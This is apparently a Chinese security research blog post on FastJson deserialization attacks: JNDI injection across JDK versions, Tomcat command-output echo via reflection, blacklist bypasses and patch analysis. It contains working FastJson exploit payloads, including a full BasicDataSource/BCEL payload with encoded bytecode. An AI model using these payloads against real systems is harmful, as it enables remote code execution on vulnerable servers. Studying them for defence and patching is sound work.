FastJson与Tomcat回显
JNDI注入
以JDK8示例, JDK8u121以下的版本可以通过RMI协议加载远程恶意类, 121以后的版本则无法通过RMI协议进行远程加载, 原因如下:
示例代码
1 | public class Client { |
com.sun.jndi.rmi.registry.RegistryContext类的静态代码块中会获取com.sun.jndi.rmi.object.trustURLCodebase
属性的值, 如果没有该属性的值则为默认值false
, 所以此处的trustURLCodebase
字段为false。
在RegistryContext#decodeObject方法中354行处如果trustURLCodebase
为false的话抛出异常
对应调用栈
1
2
3
4
5 >decodeObject:493, RegistryContext (com.sun.jndi.rmi.registry)
>lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
>lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
>lookup:417, InitialContext (javax.naming)
>main:18, Client (JNDI)
而JDK8小于181的版本则可以通过LDAP协议加载远程类, 之后的版本则无法加载远程类, 原理同上, 以我本地的JDK8u131演示, 无法通过RMI协议加载远程类, 但小于181可以通过LDAP加载远程类。
高版本JDK
当客户端调用lookup
方法执行远程调用时, 会经过RegistryContext#decodeObject方法, 在获取到服务端返回的factoryName
后其优先通过本地classpath
加载, 当本地加载失败时才会从codebase
加载。
对应调用栈
1
2
3
4
5
6
7 >getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
>getObjectInstance:319, NamingManager (javax.naming.spi)
>decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
>lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
>lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
>lookup:417, InitialContext (javax.naming)
>main:12, Client (org.vulhub.jndi)
在helper.loadClass
方法中其通过Class.forName
获取类的Class, 并且在上图的163行处会调用newInstance
方法, 这两步能够触发静态代码块
与无参构造器
。在回到NamingManager#getObjectInstance后会调用返回对象的getObjectInstance
方法(该对象必须实现ObjectFactrory接口), 当某个类的getObjectInstance
方法存在危险操作且实现了ObjectFactory接口, 便无需通过远程加载类的利用方式。
这里以本地的环境编写Payload
类并实现ObjectFactory
接口, 在getObjectInstance
方法中执行命令, 当远程调用时本地的classpath
存在这个类则会从本地加载后调用其getObjectInstance
方法触发。
Tomcat回显
在诸如反序列化或无回显的RCE漏洞利用中, 无法获得命令执行结果往往不利用下一步的渗透工作, 由于不可控因素居多无法判断导致命令执行失败的原因, 因此需要通过某种方法
让其能够回显。
- 通过线程组获取所有线程
- 循环所有线程, 跳过线程名包含
exec
或不包含http
的线程, 跳过非Runnable
的实例的线程 - 多重反射获取
request
对象 - 通过
request
对象getResponse
方法获取response
对象
上图中多层反射的意思为经过多次反射字段获取最终得到Request
对象, 简单缩写如下形式:
1 | obj.this$0.handler.global.processors.get(1).req |
通过上述的JNDI Client的代码演示加载远程恶意类执行命令并回显:
FastJson
FastJson < 1.2.48
1 | {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"","autoCommit":true}} |
上述Payload适用于FastJson < 1.2.48的所有版本, 当FastJson反序列化时如果@type
指定的类存在于ParserConfig
类的deserialize属性中, Class
类对应的是MiscCodec
对象。
反序列化时会调用该对象的deserialze
方法, 而MiscCodec#deserialze中会判断@type
的类型如果是java.lang.Class
的话会获取val
键的值为类名调用TypeUtils#loadClass方法加载。
通过这种「白 + 黑」的方式就能够将黑名单的类加入mappings
缓存类中, 当加载时直接从mappings
获取到该类直接返回, 不会经过黑名单的检查, 且无需开启autoType
功能。
三者结合
TemplatesImpl
- 开启序列化私有字段功能(此Feature默认不开启, 需自行配置)
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes\":["base64 bytecode..."],"_name":"a","_tfactory":{},\"_outputProperties\":{}}"; |
BasicDataSource
- 需
JSON.parseObject
才能够触发此gadget, 原因在于parseObject会调用所有getter方法, parse方法只会调用特定的getter方法, 此gadget在BasicDataSource#getConnection
中触发。 - 小于1.2.48的版本都可以使用
java.lang.Class
白名单 ➕ BasicDataSource组合链。
1 | { |
下述Payload执行完毕后会弹出Mac的计算器, 如Windows环境自行编写恶意类在静态代码块中添加执行命令的的代码, 并转成BCEL格式的字节码替换。
1 | {"a":{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"c":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"b":{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$9b8$b1c$iB$C$a1$b4$f4$83o$C$H$7c$e1$GB$aa$Q$5c$ea$96$aaA$f4$bcYVa$c1$b1$z$7b$83$e0$Xq$e6$C$88$D$3f$80$l$85$98$dd$f2$r$95$95v$c6$f3$de$cc$9b$99$f5$fd$c3$ed$j$80u$y$f9$f0$f0$c1$c7$U$3ez$f8d$fc$b4$8b$cf$3e$w$f8$e2$e2$ab$8bo$M$d5M$95$u$bd$c5P$ee$ac$i08$db$e9$a1dhD$w$91$bf$86$83$9e$cc$f7y$_$s$a4$V$a5$82$c7$H$3cW$s$7e$C$j$7d$a4$K$d2$88vNU$bc$c1$e0m$8a$f8I$8e$R$dd$8e$8e$f9$v$Pc$9e$f4$c3$9d3$n3$ad$d2$84$d2$ea$5d$cd$c5$c9O$9eY$Z$9a$88$c1$ef$a6$c3$5c$c8$5dedkFn$cd$d4$G$a8$c1w1$T$60$Ws$M$9d4$93$c9L$d8$3d$_$b4$i$84$df$b3$yV$82$h$d1$o$dc$e6$b1$Y$c6$5c$a7$f9$g$cf$b2$A$f3X$60$Y$7f$a7$7f$80E$f84$ba$e9$c10$f6$9a$b1$d7$3b$96B34_$a1$3f$c3D$ab$BM$e4$f7$a5$7e$J$da$9d$95$e8$bf$iZ$cb$91gR0$yw$de$b0$5d$9d$ab$a4$bf$f1$b6$e0w$9e$KY$UT$d0$c8$88$d4$f61$f6s$$$q$z$e9$d2$P3$a7$EfV$t$3bBQH$9e$91$af$ac$5e$83$5dZ$3a$m$5b$b5$m$bd$t$d9$e0_$CF$d1$m$efa$ec$a5$98$5b1$a0u$83R$ab$7c$F$e7$ef$F$bc$l$abW$a8$5eZ$bcF$b5$V$94$ad$e2$q$7d$B$Oa$aeE$eb$d4$a3Ij$cf$j$ea$c45$d1$a2h$9c$ae$8bR$e4b$c2$n$a2m$87$9a$7c$E$a7NJ$jz$C$A$A"}} |
版本探测
{“@type”:”java.lang.AutoCloseable”
[“a”:1]
不同版本之间略有差别, 可使用多种Payload尝试
原理在于{"@type":"java.lang.AutoCloseable"
读取到最后一位时this.ch
则为\u001a
。
调用nextToken
方法时
最后在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze方法中抛出异常时带上了版本信息
Bypass
特殊字符
与注释
在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject方法解析对象时会调用JSONLexerBase#skipWhitespace方法会跳过对空格、制表符、注释等的解析。
因此如下形式的JSON也能够正常解析
{\t\n”@type”:\t\n”org.vulhub.User”,”id”:”1”,\f\b”name”:”test”}
{\b”@type”:”org.vulhub.User”,”id”:”1”,/*Comment1*/“name”:/*Comment2*/“test”}
Unicode
字符解析
在JSONLexerBase#scanSymbol方法中如果当前字符为\
则会通过switch进行匹配, 以u开头的匹配为unicode
字符。
正常解析:
补丁分析
1.2.41
FastJson在1.2.41版本中加入了补丁, 位于com.alibaba.fastjson.parser.ParserConfig类中新增了checkAutoType
方法, 其中会对@type
的值进行黑名单检查, 如下是黑名单列表:
1 | 0 = "bsh" |
而使用{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;"}
能够绕过checkAutoType
的检查, 原因在于调用TypeUtils#loadClass
方法时其会检查以L
开头并以;
结尾的并去除, 但是并不能够触发JNDI
注入, 因为在checkAutoType
方法的最后判断没有开启autoType会直接抛出异常。
1.2.42
较上一个补丁的区别在于checkAutoType
中黑名单改为计算哈希匹配, 且在该方法中会判断L
开头与;
号结尾的话则进行截断, 而同样在TypeUtils#loadClass
也会进行L
和;
的截断, 导致黑名单的绕过。
1 | 0 = -8720046426850100497 |
1.2.48
MiscCodec#deserialze调用TypeUtils#loadClass
时默认cache
参数为false, 不会写入mappings
中, 无法绕过。